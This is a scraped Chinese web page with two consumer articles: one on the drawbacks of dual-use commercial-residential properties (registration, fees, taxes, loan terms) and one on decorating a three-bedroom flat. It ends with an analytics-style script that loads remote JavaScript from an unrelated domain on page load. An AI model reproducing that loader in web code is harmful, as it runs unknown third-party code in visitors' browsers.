商住两用房缺点是什么

商住两用房是指既可以用来办公，又可以用来居住的房子，等于办公室和居住地都在同一个地方。随着房价不断高涨，目前这类的商住两用房越来越多，不少人也会主动买商住两用房，目的是为了更好的省钱，也将房子的价值发挥到最大的范围里。商住两用房是有一定的优势，但大家也不好忽视它带来的缺点，光看到商住两用房优点可不行。那么，商住两用房缺点是什么?商住两用房缺点缺点一：商住两用房一般不能落户商住两用房一般无法迁入户口，这意味着即使周边区域内有较好的教育资源，子女因户口不能迁入也无法就近入学。这无形中造成了业主生活、学习上的不便。缺点二：“商住两用”房生活成本高商住两用房的水、电和物业费用的都是商用标准，远高于住宅项目，各种税费等也要高于普通住宅。也就是表示购房者要承受较高的生活成本。缺点三：商住两用房安全问题也值得担忧商住两用房将商和住混杂在一起，名为既可“商”也可“住”，实则给双方都带来了很多麻烦。在某业主论坛上，许多业主发的帖子反映商户严重扰民，有的反映商户晚上营业时间结束太晚等商住两用房税费“商住两用”项目目前还无法按照住宅的标准缴纳契税，这样的房子在转手的过程中，相关费用按照商用来计算，其转让契税为4%，而普通住宅转让契税为2%(不超过144平方米)。同时，商用转让还要征收营业税、土地增值税等。商住两用房贷款商住两用房不限购，也不受房贷限制，不过这种房子不能享受普通商品住宅的税费优惠。贷款期限一般不超过10年，首付高一些，50%左右，远高于首套普通住宅的30%，贷款利率为普通住宅的1.1倍，且不能申请公积金贷款。商住两用房缺点是什么?综上所述，商住两用房是有一定的优点，也有相应的缺点，希望大家在购买商住两用房的时候，一定要能够考虑清楚，不要只看到它的优点而忽视了它的缺点。无论是商住两用房还是其他类型的房子，购买之前都要打听清楚它的证件是否齐全，避免自己买到的房子证件不齐全，日后办理房产证、产权证都会比较麻烦，也会给自己造成许多折磨。

一般家庭装修中三室两厅的房子怎么装修

现在很多人越来越重视家装，这样不仅能更有效的利用空间，自己住起来心情也好很多。三室两厅的房子怎么装修比较好呢？了解了以下的装修要点，相信大家都会对三室两厅的房子怎么装修心里有谱了。一、客厅光线要好客厅是整个家居装饰中最重要的部分，无论是朋友客来访，还是是家庭日常活动，都是在客厅进行的，因此客厅的采光一定要充足，否则会影响家庭成员心情和健康。如果房子本身的光线比较暗,客厅色调尽量不要使用黑色、灰、深蓝、深棕等色调，应该尽量以柔和而明亮的浅色系为主,如白色,奶白色,浅米色,这样能促进进入客厅的光线折射,从而起到增加客厅亮度的效果。二、预留更多的活动空间三居的房子不算太小，但是一般都有五个左右的人居住，那就要预留足够的活动空间，否则住起来会觉得很不方便。三室两厅的房子怎么装修呢？可以在选择家具的时候，尽量选比较简约一点的，,在视觉上能保持清爽感觉,还可以根据墙的形状和走向定制一些壁柜,不仅使用了死角，也可以提高收纳功能，地毯可以用浅色的，让空间看起来比较明亮。三、房子的装修风格选择三室两厅的房子可以做欧式、日式、现代前卫等风格。不同的装修风格给人的整体感觉是不同的。但是不太适合华丽的欧式风格，因为欧式风格的家具和摆饰品都比较有造型，比较笨重，会让三居室的房子看起来很拥挤。所以选择风格的时候要慎重。以上就是三室两厅的房子怎么装修的一些实用建议，大家按照这样的基本原则去装修，大体的效果就会很好了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();